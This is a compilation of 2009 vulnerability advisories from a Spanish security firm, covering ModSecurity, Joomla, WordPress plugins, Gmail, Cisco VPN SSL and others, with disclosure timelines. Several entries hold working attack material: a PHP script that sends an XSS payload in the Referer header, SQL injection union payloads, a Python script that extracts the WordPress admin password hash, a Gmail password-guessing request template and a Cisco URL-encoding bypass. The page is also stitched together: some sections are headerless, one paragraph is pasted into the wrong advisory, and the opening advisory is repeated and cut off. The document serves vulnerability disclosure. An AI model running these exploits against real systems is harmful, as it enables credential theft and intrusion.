2009-001: ModSecurity < 2.5.9 is vulnerable to a remote Denial of Service (DoS)
Original release date: February 25th, 2009 Last revised: March 19th, 2009 Discovered by: Juan Galiana Lara Severity: 7.8/10 (CVSS Base Scored)
BACKGROUND
ModSecurity is the most widely-deployed web application firewall in the world, with more than 15,000 users. It runs as a Apache web server module and is developed by Breach Security [ http://www.breach.com ], it's avaliable with GNU GPL and many other comercial licenses.
DESCRIPTION
The multipart processor of modsecurity does not sanitize the user supplied input sufficiently. Therefore, an attacker can send a crafted post request of type multipart/form-data which will lead in a remote denial of service.
The snippet of vulnerable code:
in file msc_multipart.c
1258 int multipart_get_arguments(modsec_rec *msr, char *origin, apr_table_t *arguments) { 1257 multipart_part **parts; 1258 int i; 1259 1260 parts = (multipart_part **)msr->mpd->parts->elts; 1261 for(i = 0; i < msr->mpd->parts->nelts; i++) { 1262 if (parts[i]->type == MULTIPART_FORMDATA) { 1263 msc_arg *arg = (msc_arg *)apr_pcalloc(msr->mp, sizeof(msc_arg)); 1264 if (arg == NULL) return -1; 1265 1266 arg->name = parts[i]->name; 1267 arg->name_len = strlen(parts[i]->name);
On line 1267, due to the pointer parts[i]->name is not properly sanitized the parameter of strlen function takes the value NULL, getting a segmentation fault and resulting in a crash of the apache process that handle the request.
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com). Thanks to Jordi Rubió Romero (jrubio (at) isecauditorts (dot) com).
REVISION HISTORY
February 25, 2009: Initial release March 19, 2009: Revision.
DISCLOSURE TIMELINE
Febraury 25, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com) March 02, 2009: ModSecurity contacted. March 02, 2009: Response about remediation plan. March 11, 2009: Path released March 19, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Original release date: January 7th, 2009 Last revised: March 2nd, 2009 Discovered by: Juan Galiana Lara Severity: 9/10 (CVSS scored)
BACKGROUND
eXtplorer is a web-based File Management Component for all your needs. It has a desktop-application-like interface with drag&drop, grid and a directory tree and makes heavy use of the ExtJS Javascript Library. It's widely used to access and modify the files and directories on your server via FTP or direct file access. It runs natively under Joomla! 1.5.x, 1.0.x, Mambo component and can also be used as a standalone app. Is based on Quixplorer (available at http://sourceforge.net/projects/quixplorer/). eXtplorer is released under a dual-license: the Mozilla Public License (MPL 1.1) and the GNU General Public License (GNU/GPL).
DESCRIPTION
eXtplorer is prone to a local file include and directory traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. The parameter 'lang' is not properly sanitized. Since the application allows to upload files to the server could be combined with previous vulnerabilities to allow an attacker to view any local file or execute arbitrary code remotely in the context of the webserver. This may aid in launching further attacks. In order to perform the attack, an attacker could upload a PHP maliciuos code (upload action is allowed by the application), then exploit a bug to know the full path to the local file recently uploaded (if 'display_errors' directive is set to On) and then include it exploiting the local file include and directory traversal flaw (using ../../path/to/file) to finally execute the php code. Successfully explotation of this flaw may aid in the compromise of the server in the context of the webserver. The software is affected running standalone or as a Joomla!/Mambo component.
The bug can be exploited with or without 'magic_quotes_gpc', but note that if magic_quotes_gpc is set to Off, an attacker can view any file, adding a '\0' character like /etc/passwd, if not only can include php files, allowing to execute any php code he want. Is also possible to hide the crafted parameters data including it thougth POST method, making detection more difficult to site administrator. In order to successfully perform this attack the attacker must have the full path where the files are uploaded, and it is easy to get making a request like this:
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
March 2nd, 2009: Initial release.
DISCLOSURE TIMELINE
January 07, 2009: eXtplorer contacted January 15, 2009: eXtplorer release version 2.0.1 March 02, 2009: Vulnerability published
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2009-003: QuiXplorer <= 2.4.1 beta standalone and as a Mambo/Joomla component 'lang' parameter Remote Code Execution vulnerability
Original release date: March 2nd, 2009 Last revised: December 17th, 2009 Discovered by: Juan Galiana Lara Severity: 9/10 (CVSS scored)
BACKGROUND
QuiXplorer is a multi-user, web-based file-manager. It allows you to manage and/or share files over the Internet, or an Intranet. It's currently available in many languages and with GPL and MPL licenses and referred in other open source projects.
DESCRIPTION
QuiXplorer is prone to a local file include and directory traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. The parameter 'lang' is not properly sanitized. Since the application allows to upload files to the server could be combined with previous vulnerabilities to allow an attacker to execute arbitrary code remotely in the context of the webserver. This may aid in launching further attacks.
In order to perform the attack, an attacker could upload a PHP malicious code (upload action is allowed by the application), then exploit a bug to know the full path to the local file recently uploaded (if 'display_errors' directive is set to On) and then include it exploiting the local file include and directory traversal flaw (using ../../path/to/file) to finally execute the php code. Successfully exploitation of this flaw may aid in the compromise of the server in the context of the webserver.
PROOF OF CONCEPT
Here is the affected code:
80 // Get Language 81 if(isset($GLOBALS['__GET']["lang"]))$GLOBALS["lang"]=$GLOBALS['__GET']["lang"]; 82 elseif(isset($GLOBALS['__POST']["lang"]))$GLOBALS["lang"]=$GLOBALS['__POST']["lang"]; 83 //------------------------------------------------------------------------------ 84 // Necessary files 85 ob_start(); // prevent unwanted output 86 require "./.config/conf.php"; 87 if(isset($GLOBALS["lang"])) $GLOBALS["language"]=$GLOBALS["lang"]; 88 require "./_lang/".$GLOBALS["language"].".php"; <----- HERE 89 require "./_lang/".$GLOBALS["language"]."_mimes.php"; <----- HERE
Exploiting this bug is possible to include php files, allowing to execute any arbitrary code code he want. Also is possible to hide the crafted parameters data including it through POST method, making detection more difficult to site administrator.
About the full path disclosure, if the webserver has the show_errors directive set to 'On', try: http://site/path/?lang=no_exists
And the application returns:
Warning: require(./_lang/no_exists.php) [function.require]: failed to open stream: No such file or directory in /var/www/quix/.include/init.php on line 88
Fatal error: require() [function.require]: Failed opening required './_lang/no_exists.php' (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/quix/.include/init.php on line 88
Revealing the path to the home directory of the filemanager
BUSINESS IMPACT
An attacker could view any file or execute arbitrary code remotely into the context of the webserver.
SYSTEMS AFFECTED
All version of QuiXplorer are affected. At the moment <= 2.4.1beta.
SOLUTION
As developers give no response we add the mitigation for its solution. To patch only change this lines...
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
March 02, 2009: Initial release. December 17, 2009: Last revision.
DISCLOSURE TIMELINE
March 02, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com) March 03, 2009: QuiXplorer contacted. No answer. December 13, 2009: QuiXplorer contacted again. No answer. December 17, 2009: Sent to lists with remediation proposal.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2009-004: WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability
Original release date: December 3rd, 2008 Last revised: March 10th, 2009 Discovered by: Juan Galiana Lara Severity: 6.3/10 (CVSS scored)
BACKGROUND
WordPress MU, or multi-user, allows to run unlimited blogs with a single install of wordpress. It is most famously used for WordPress.com where it serves tens of millions of hits on hundreds of thousands of blogs each day. Also is used in many other sites like Harvard University and Le Monde.
DESCRIPTION
WordPress MU prior to version 2.7 fails to sanitize the Host header correctly in choose_primary_blog function and is therefore prune to XSS attacks. Web Sites running in a name based virtual hosting setup are not affected while they are not the default virtual host.
PROOF OF CONCEPT
The snippet of vulnerable code: In wp-includes/wpmu-functions.php, concretly in the function choose_primary_blog:
The javascript code will be executed in the context of the victim browser, this can be exploited to steal cookies and escalate privileges to administrator.
Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6
SYSTEMS AFFECTED
Versions prior to 2.7 are affected.
SOLUTION
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded from http://mu.wordpress.org
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
December 03, 2008: Initial release March 02, 2009: More details added
DISCLOSURE TIMELINE
December 03, 2008: Vendor contacted December 03, 2008: MU trunk code fixed January 28, 2008: WordPress MU 2.7 released March 10, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2009-005: Simple PHP Blog <= 0.5.1 Local File Include vulnerability
Original release date: March 2nd, 2009 Last revised: December 18th, 2009 Discovered by: Juan Galiana Lara Severity: 6.8/10 (CVSS scored)
BACKGROUND
Simple PHP Blog is a blog system does not requires database setup, and is very easy to install.
DESCRIPTION
Simple PHP Blog <= 0.5.1 is affected by a Local File Include vulnerability in 'languages_cgi.php' due to parameter 'blog_language1' is not properly sanitized.
The bug can be exploited with or without 'magic_quotes_gpc', but note that if magic_quotes_gpc is set to Off, an attacker can view any file, adding a '\0' character like /etc/passwd, if not only can include php files, allowing to execute any local php files.
BUSINESS IMPACT
The impact is the attacker can read arbitrary files in the context of the webserver and execute arbitrary local php scripts.
SYSTEMS AFFECTED
Versions prior and including 0.5.1 are affected. In order to patch the application the function file_exists() and basename() must be added to the affected code.
SOLUTION
Change line 62 of languages_cgi.php in order to filter $_POST['blog_language1' ] variable.
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
March 02, 2009: Initial release December 18, 2009: Last revision
DISCLOSURE TIMELINE
March 02, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com) March 03, 2009: Notified to developer. No response. December 13, 2009: Notified again. No response. December 18, 2009: Added mitigation solution and sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Original release date: April 5th, 2009 Last revised: June 5th, 2009 Discovered by: Juan Galiana Lara Severity: 6.4/10 (CVSS Base Score)
BACKGROUND
Joomla! is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla! the most popular Web site software available. Best of all, Joomla! is an open source solution that is freely available to everyone. Joomla! comes with 3 default templates, JA_Purity is one of them.
DESCRIPTION
JA_Purity template is bundled in Joomla! and fails to sanitized user supplied input. An attacker can inject JavaScript or DHTML that will be saved in the cookie making persistent, running in the context of targeted user browser, allowing him to steal cookies.
In file 'template/ja_purity/ja_templatetools.php', the getUserSetting() reads $_GET array and makes the data persistent setting it in a cookie:
An attacker can exploit the vulnerability to store persistent XSS. This may lead in steal the targeted user cookies and gain access to the user account.
SYSTEMS AFFECTED
Joomla! <= 1.5.10 is vulnerable which comes with JA_Purity template 1.2.0
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
April 5, 2009: Initial release. June 5, 2009: Last revision.
DISCLOSURE TIMELINE
April 5, 2009: Discovered by Internet Security Auditors. April 6, 2009: Vendor contacted. They will study the advisory. May-June, 2009: No responses to queries about patching schedule. June 3, 2009: Security Release 1.5.11 published. June 5, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2009-007: Joomla! < 1.5.12 Multiple XSS vulnerabilities in HTTP Headers
Original release date: June 30th, 2009 Last revised: July 2nd, 2009 Discovered by: Juan Galiana Lara Severity: 6.8/10 (CVSS Base Score)
BACKGROUND
Joomla! is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla! the most popular Web site software available. Best of all, Joomla! is an open source solution that is freely available to everyone.
DESCRIPTION
TJoomla! fails to sanitized user supplied input. An attacker can inject JavaScript or DHTML code that will be executed in the context of targeted user browser, allowing him to steal cookies. HTTP headers are not properly parsed, concretly the HTTP_REFERER variable.
The snippet of vulnerable code:
Line 225 of file components/com_content/views/article/tmpl/form.php is vunerable.
An attacker can redirect the victim to a site with this script for executing javascript code in the victim's browser. The PoC creates a crafted HTTP request with malicious data in the HTTP_REFERER header. In order to succesfully exploit it, an account with any role is needed. For example, an user with any role can escalate privileges to administrator.
/* PoC: XSS Joomla 1.5.11 Juan Galiana Lara Internet Security Auditors Jun 2009 */ /* config */ $site='localhost'; $path='/joomla-1.5.11'; $cookname='d85558a8cf943386aaa374896bfd3d99'; $cookvalue='4ab56fdd83bcad86289726aead602699'; class cURL { var $headers; var $user_agent; var $compression; var $cookie_file; var $proxy; /* evil script */ var $xss='alert("PWN PWN PWN: " + document.cookie);'; function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') { $this->headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; $this->headers[] = 'Connection: Keep-Alive'; $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; $this->headers[] = 'Referer: "><script>' . $this->xss .'</script>>span a="'; $this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'; $this->compression=$compression; $this->proxy=$proxy; $this->cookies=$cookies; if ($this->cookies == TRUE) $this->cookie($cookie); } function cookie($cookie_file) { if (file_exists($cookie_file)) { $this->cookie_file=$cookie_file; } else { fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Check permissions'); $this->cookie_file=$cookie_file; fclose($this->cookie_file); } } function get($url) { $process = curl_init($url); curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers); curl_setopt($process, CURLOPT_HEADER, 0); curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent); if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file); if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file); curl_setopt($process,CURLOPT_ENCODING , $this->compression); curl_setopt($process, CURLOPT_TIMEOUT, 30); if ($this->proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port'); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); $return = curl_exec($process); curl_close($process); return $return; } function error($error) { echo $error; die; } } /* set cookie */ $f=fopen("cookies.txt","w"); fwrite($f,"localhost\tFALSE\t/\tFALSE\t0\t$cookname\t$cookvalue\n"); fclose($f); /* do request */ $cc = new cURL(); $c=$cc->get('http://' . $site . $path . '/index.php?option=com_content&view=article&layout=form');
/* let's execute some javascript.. }:-)*/ echo $c; ?>
BUSINESS IMPACT
An attacker can exploit the vulnerability to inyect DHTML and JavaScript code in the context of the web browser. This may lead in steal the targeted user cookies and gain access to the user account icluding administrator privileges.
SYSTEMS AFFECTED
Joomla! versions prior and including 1.5.11 are vulnerable.
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
June 30, 2009: Initial release July 02, 2009: Revision.
DISCLOSURE TIMELINE
June 30, 2009: Discovered by Internet Security Auditors. June 30, 2009: Vendor contacted. Fast response. July 01, 2009: Joomla! publish update. Great job. July 02, 2009: Advisory published.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2009-008: Gmail vulnerable to automated password cracking.
Original release date: July 7th, 2009 Last revised: July 13th, 2009 Discovered by: Vicente Aguilera Diaz Severity: 4.5/10 (CVSS Base Score)
BACKGROUND
Gmail is Google's free webmail service. It comes with built-in Google search technology and over 7,300 megabytes of storage (and growing every day). You can keep all your important messages, files and pictures forever, use search to quickly and easily find anything you're looking for, and make sense of it all with a new way of viewing messages as part of conversations.
DESCRIPTION
An existing abuse of functionality in the "Check for mail using POP3" capability permits automated attacks to the password data of the accounts of the Gmail users evading the security measures adopted by Google.
Gmail implements a great number of security controls and, most of them are not revealed until an attack is conducted or a malicious use of the account is done. For example: - Use of catpcha for avoiding automated processes (e.g., in the users authentication or in the new users sign up). - Temporary IP locking in case of detecting unusual application activities (e.g., multiple new account creation requests) - Temporary account locking in case of detecting unusual use of the user account (e.g., when doing multiple consecutive request to the same resource). - Detection of concurrent access to the account from different geolocated IP addresses added to the number of these accesses. - Etc.
Anyway, is it possible to abuse the "Check for mail using POP3" capability to do attacks to the passwords of the users in an automated way, evading all referred security restrictions and controls and doing a transparent and not noticeable attack to the user that its account is being password cracked as: - There's no need for required action from the victim. - There's no modification in the password of the victim. - There's no locking in the victim account. - There's no security notification to the victim.
The vulnerability is aggravated due Gmail allows weak passwords to be used by the users. So, Gmail accepts password using only one character (e.g. "aaaaaaaa") or dictionary words (e.g. "pentagon" or "computer").
The abuse of this functionality permits an attacker to do thousands of authentication requests during a day over one user account, so if the user is using a weak password is a matter of time to guess to have access to the mail account.
PROOF OF CONCEPT
An attacker can redirect the victim to a site with this script for executing javascript code in the victim's browser. The PoC creates a crafted HTTP request with malicious data in the HTTP_REFERER header. In order to succesfully exploit it, an account with any role is needed. For example, an user with any role can escalate privileges to administrator.
As only requirement, the attacker needs a real Gmail account, but that's not a real limitation as service is for free. After being authenticated, the attacker access to the option "Accounts and import". From this tab access to "Add POP3 mail account". To add a new account the attacker news to fill: -User name: will be the victim email address, including "@gmail.com" (e.g. victim@gmail.com). -Password: will be the password related to the previously informed user. -POP3 server and port: could be simply "pop.gmail.com" and the 995 port.
When asking for the new email account to be added some different scenarios can happen: 1. The application returns the message "The server has denied the POP3 access to this username and password". This possibility happens when the username do not exists or the password is incorrect.
2. The application returns the message "Now you can recover the messages of this account". This other possibility happens when the authentication has succeeded. So, the attacker informed correctly the password to this user.
3. The application returns the message "You have reached the maximum number of accounts allowed". This situation appears after adding more than 5 email accounts or after doing 100 requests (successfully or not) for adding a new account. Is important to notice that, after the 100 attempts, the user must wait for 2 hours.
Using this, an attacker is able to do 100 attempts of authentication each 2 hours (so 1.200 attempts each day).
Is very important to retain that those requests do not require any kind of catpcha and can be done automatically knowing only the key parameters of the request:
-ik: alphanumeric id associated to the user and transmitted through GET request. -GMAIL_AT: is an alphanumeric value associated to the user and transmitted in the cookie. It is only known after authentication and starts with characters "xn3j3". -GX: alphanumeric value associated to the user and transmitted in the cookie. It is only known after authentication. -ui: numeric value. Can be fixed to value "2" (default value) and is transmitted via GET. -view: string value. Can be fixed to string "ma" (default value) and is transmitted via GET. -map: numeric value. Can be fixed to value "2" (default value) and is transmitted via POST. -ma_email: email address of the account to be added. Would match to the victim email address and is transmitted via POST. -mapc: boolean value. Can be fixed to value "true" (default value) and is transmitted via POST. -mapp: numeric value. Can be fixed to value "1" (default value) and is transmitted via POST. -mabb: this parameter can be nul (default value) and is transmitted via POST. -at: is the alphanumeric value associated to the user that must match with be value of the variable GMAIL_AT previously explained. This value is transmitted via POST. -ma_user: email address of the account from which the new email address wanted be added. Is the attacker email address and is transmitted via POST. -ma_pwd: password to be used for the victim account. Is transmitted via POST. -ma_host: IP address of the POP3 server. Can be fixed to value "pop.gmail.com" and is transmitted via POST. -ma_host_sel: IP address of the POP3 server. Can be fixed to value "pop.gmail.com" and is transmitted via POST. -ma_port: is the value of the port of the POP3 server. Can be fixed to value "995" (defalt value) and is transmitted via POST. -ma_ssl: can be fixed to string "on" (default value) and is transmitted via POST. -ma_lbl: is the name of the label that will be used for labelling incoming emails. Can be fixed to the victim email address (default value) and is transmitted via POST.
Summarizing, the POST request for the authentication attack would be like this:
POST http://mail.google.com/mail/?ui=2&ik=<ik_value>&view=ma HTTP/1.1 Cookie: GX=<GX_value>; GMAIL_AT=<GMAIL_AT_value> map=2&ma_email=<victim_email>&mapc=true&mapp=1&mabb=&at=<at_value>&ma_user=<attacker_email>& ma_pwd=<victim_pwd>&ma_host=pop.gmail.com&ma_host_sel=pop.gmail.com&ma_port=995&ma_ssl=on&ma_lbl=<email_victim>
BUSINESS IMPACT
Capability of unlimited password cracking Gmail user accounts. Selective DoS on users of the Gmail service (changing user password).
This vulnerability has been discovered and reported Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
REVISION HISTORY
July 07, 2009: Initial release. July 13, 2009: Minor revision. July 17, 2009: Last update.
DISCLOSURE TIMELINE
July 05, 2009: Discovered by Internet Security Auditors. July 13, 2009: Gmail security team contacted. July 15, 2009: Request for confirmation of reception and analysis. July 17, 2009: Answer from Google telling 100 attemp control limit is enough robust, although the advisory poc shows how to evade this weak security control. Publication of the advisory in the lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
In the case of the Blind SQL Injection, the vulnerable code is...
In wpf-post.php file:
57 $id = $_GET['id']; // <- $_GET['id'] is directly assigned 58 $thread = $this->check_parms($_GET['t']); 59 60 $out .= $this->header(); 61 62 $post = $wpdb->get_row("SELECT * FROM $wpforum->t_posts WHERE id = $id"); // <- id is used without clean up
Other example:
1490 function remove_post(){ 1491 global $user_level, $user_ID, $wpdb; 1492 $id = $_GET['id']; // <- $_GET['id'] is directly assigned 1493 $author = $wpdb->get_var("SELECT author_id from $this->t_posts where id = $id"); // id is used without clean up ... 1503 if($del == "ok"){ 1504 $wpdb->query("DELETE FROM $this->t_posts WHERE id = $id"); <- // id is used without clean up 1505 $this->o .= "<div class='updated'>".__("Post deleted", "wpforum")."</div>"; 1506 } 1507 else 1508 wp_die(__("Cheating, are we?", "wpforum")); 1509 1510 }
the "id" parameter is vulnerable in other parts of the source code...
Also, is possible to delete all records in table $this->t_posts and $this->t_threads because $_GET['topic'] is not properly sanitized, injecting something like 1 or 1=1
1479 function remove_topic(){ 1480 global $user_level, $user_ID, $wpdb; 1481 $topic = $_GET['topic']; 1482 if($this->is_moderator($user_ID, $this->current_forum)){ 1483 $wpdb->query("DELETE FROM $this->t_posts WHERE parent_id = $topic"); 1484 $wpdb->query("DELETE FROM $this->t_threads WHERE id = $topic"); 1485 } 1486 else 1487 wp_die(__("Cheating, are we?", "wpforum")); 1488 1489 }
Is possible to obtain any data of the database. Here is a proof of concept to obtain user_pass, user_login and user_email of the user with id=1 of wp_users table (normally admin).
We have to fill the search_max parameter with the value:
9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999
I wrote a PoC, to get automatically the password hash of the WordPress admin account:
#!/usr/bin/python # WP-Forum <= 2.3 SQL Injection PoC # Juan Galiana Lara # Internet Security Auditors
import urllib import urllib2 import re
url = 'http://site//wordpress/?page_id=3&wpforumaction=search' values = {'search_words' : 'any', 'search_submit' : 'Search', 'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' }
data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) output = response.read() o = re.search('viewtopic.+>([$].+)<',output) if o: print o.group(1)
Unauthenticated users can obtain or delete any data of the database. This flaw could result in get access to WordPress accounts including the administrator one.
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
September 28, 2009: Initial release. October 13, 2009: Review. October 19, 2009: Added CVE id. December 15, 2009: Last revision.
DISCLOSURE TIMELINE
September 28, 2009: Vulnerability discovered by Internet Security Auditors. October 13, 2009: Sent to developers. No response. December 13, 2009: Contact again. Response about its correction. December 14, 2009: New version published. December 15, 2009: Advisory released to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
2009-011: PHP-Calendar v1.1 'configfile' Remote and Local File Inclusion vulnerability
Original release date: October 13th, 2009 Last revised: December 18th, 2009 Discovered by: Juan Galiana Lara CVE ID: CVE-2009-3702 Severity: 8.5/10 (CVSS Base Score)
BACKGROUND
PHP-Calendar is a simple web calendar. It is targeted towards groups that need to collaboratively create and track events. In that same collaborative spirit, the source for PHP-Calendar is available under an open source license for anyone to use and modify.
DESCRIPTION
The 'configfile' variable is not properly filtered, and is possible to include arbitrary remote and local files. This attack may lead to the execution of arbitrary code.
The snippet of vulnerable code (part of update08.php and update10.php file):
In order to include remote files, the value 'On' in the allow_url_fopen directive is needed. There are two cases in which it is possible remote code execution due to bypass the file_exists function:
1) If the victim server is running Windows operating system and there is not a firewall filtering outgoing SMB requests, an attacker can use an URL like //servername/path/to/file.php
2) If server is running PHP version > 5.0.0 (the most common) an attacker can use FTP/FTPS protocol for inclusion. Like ftp://servername/path/to/file.php See references for more information.
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
October 13, 2009: Initial release. October 19, 2009: Added CVE id. December 18, 2009: Last revision.
DISCLOSURE TIMELINE
October 13, 2009: Vulnerability discovered by Internet Security Auditors (www.isecauditors.com) October 13, 2009: Sent to developers. No response. December 13, 2009: Contact again. No response. December 18, 2009: Added mitigation solution and sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Original release date: October 13th, 2009 Last revised: December 17th, 2009 Discovered by: Juan Galiana Lara CVE ID: CVE-2009-3701 Severity: 6.3/10 (CVSS Base Score)
BACKGROUND
The Horde Application Framework is a modular, general-purpose web application framework written in PHP. It provides an extensive array of classes that are targeted at the common problems and tasks involved in developing modern web applications.
DESCRIPTION
Input passed to 'PHP_SELF' variable is not properly filtered before being returned to the user. This can be exploited to inject arbitrary HTML or to execute arbitrary script code in a user's browser session in context of an affected site. In order to successfully exploit this vulnerability the targeted user has to be logged as an administrator.
This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
REVISION HISTORY
October 13, 2009: Initial release. October 19, 2009: Added CVE id. December 13, 2009: Revision. December 18, 2009: Last revision.
DISCLOSURE TIMELINE
October 13, 2009: Vulnerability discovered by Internet Security Auditors (www.isecauditors.com) October 13, 2009: Sent to developers. The issue is considered hard to exploit and solution is delayed. December 13, 2009: Second contact for correction plan. December 15, 2009: New release published. December 17, 2009: Sent to public lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Original release date: October 7th, 2009 Last revised: December 16th, 2009 Discovered by: David Eduardo Acosta Rodriguez Severity: 4/10 (CVSS Base Score)
BACKGROUND
Cisco VPN SSL [1] is a module for Cisco ASA and Cisco Integrated Services Routers to extend network resources to virtually any remote user with access to the Internet and a web browser.
DESCRIPTION
Cisco VPN SSL Clientless lets administrators define rules to specific targets within the private network that WebVPN users will be able to access. This specific targets are published using links in VPN SSL home page. These links (url) are protected (obfuscated) using a ROT13 substitution[2] and converting ASCII characters to hexadecimal. An user with a valid account and without "URL entry" can access any internal/external resource simply taken an URL, encrypt with ROT 13, convert ASCII characters to hexadecimal and appending this string to Cisco VPN SSL URL.
PROOF OF CONCEPT
Using URL http://intranet published on internal server (not accessible from home page):
1. Convert string to ROT13: uggc://vagenarg 2. Change ASCII chars to HEX: 756767633a2f2f766167656e617267 3. Append string to Cisco VPN SSL: https://[CISCOVPNSSL]/+CSCO+00756767633a2f2f766167656e617267++
Users with valid account can surf to internal/external resources, bypassing controls in home page.
SYSTEMS AFFECTED
Cisco ASA <= 8.x are vulnerable.
SOLUTION
Always set "webtype" ACL and "filter" to block access in Web VPN SSL (not activated by default). Included in Cisco site now. Follow recommendations from "Cisco Understanding Features Not Supported in Clientless SSL VPN" [3].
This vulnerability has been discovered by David Eduardo Acosta Rodríguez (deacosta (at) isecauditors (dot) com, dacosta (at) computer (dot) org). Thanks to Juan Galiana Lara (jgaliana (at) isecauditors (dot) com)) for additional research.
REVISION HISTORY
December 7, 2009: Initial release. December 16, 2009: Last revision.
DISCLOSURE TIMELINE
December 9, 2009: Vendor contacted December 9, 2009: Vendor response, they include our mitigation proposal in their website and start the analysis of correction required. December 16, 2009: Vendor confirms remediation and public statement. December 17, 2009: Sent to lists.
LEGAL NOTICES
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.
Advisories 2009
2009-001: ModSecurity < 2.5.9 is vulnerable to a remote Denial of Service (DoS)
Original release date: February 25th, 2009
Last revised: March 19th, 2009
Discovered by: Juan Galiana Lara
Severity: 7.8/10 (CVSS Base Scored)
BACKGROUND
ModSecurity is the most widely-deployed web application firewall in the world, with more than 15,000 users. It runs as a Apache web server module and is developed by Breach Security [ http://www.breach.com ], it's avaliable with GNU GPL and many other comercial licenses.
DESCRIPTION
The multipart processor of modsecurity does not sanitize the user supplied input sufficiently. Therefore, an attacker can send a crafted post request of type multipart/form-data which will lead in a remote denial of service.
The snippet of vulnerable code:
in file msc_multipart.c
1258 int multipart_get_arguments(modsec_rec *msr, char *origin, apr_table_t *arguments) {
1257 multipart_part **parts;
1258 int i;
1259
1260 parts = (multipart_part **)msr->mpd->parts->elts;
1261 for(i = 0; i < msr->mpd->parts->nelts; i++) {
1262 if (parts[i]->type == MULTIPART_FORMDATA) {
